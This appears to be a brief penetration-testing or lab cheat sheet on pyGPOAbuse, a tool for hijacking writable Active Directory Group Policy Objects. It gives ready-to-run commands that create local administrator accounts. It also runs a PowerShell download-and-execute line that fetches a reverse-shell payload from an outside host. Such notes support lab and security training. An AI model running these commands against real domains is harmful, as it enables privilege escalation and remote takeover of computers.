Summery
pyGPOAbuse is a tool for abusing writable Active Directory Group Policy Objects (GPOs).
It modifies a GPO so that computers processing that policy perform an attacker-controlled action, such as creating a scheduled task or changing local group membership.
To effectively use pyGPOAbuse, you generally need write/control rights over the GPO itself
Typical useful rights are:
GenericAll - Full control over the GPO.
WriteDACL - Lets you modify its ACL, potentially granting yourself stronger rights.
WriteOwner - Lets you take ownership, after which you can generally modify the DACL.
You also need access to the GPO’s SYSVOL files, because the tool modifies both the AD-side GPO object and policy files. So I think SMB access is also required, but not 100% sure.
GPO ID can be found with Bloodhound. It shows it well in the Distinguished Name and Gpcpath fields.
Commands
Basic usage of pygpoabuse it to create a local admin. You can create one with simply pygpoabuse 'domain.com'/'charlotte':'Game2On4.!' -gpo-id '31b2f340-016d-11d2-945f-00c04fb984f9'. Experimentally you can also run this longer command although I had issues with it - pygpoabuse 'domain.com'/'charlotte':'Game2On4.!' -gpo-id '31b2f340-016d-11d2-945f-00c04fb984f9' -command 'Add john:H4x00r123.. as local Administrator' -dc-ip '192.168.176.97' -v
You can also create a payload file, for example revshell.txt which would look something like this inside - powershell -e <BASE64-16LE PAYLOAD> and run it with python pygpoabuse.py ignite.local/raj:'Password@1' -gpo-id "4B878AA9-238D-4975-B3A3-B7EE9990F66C" -powershell -command "IEX(New-Object Net.webclient).downloadString('http://192.168.1.17:1338/revshell.txt')" to get a reverse shell.
References
Used in: BabyTwo
GPO Abuse: Exploiting Vulnerable Group Policy Objects - Great read and walkthrough on GPO abuse with this tool.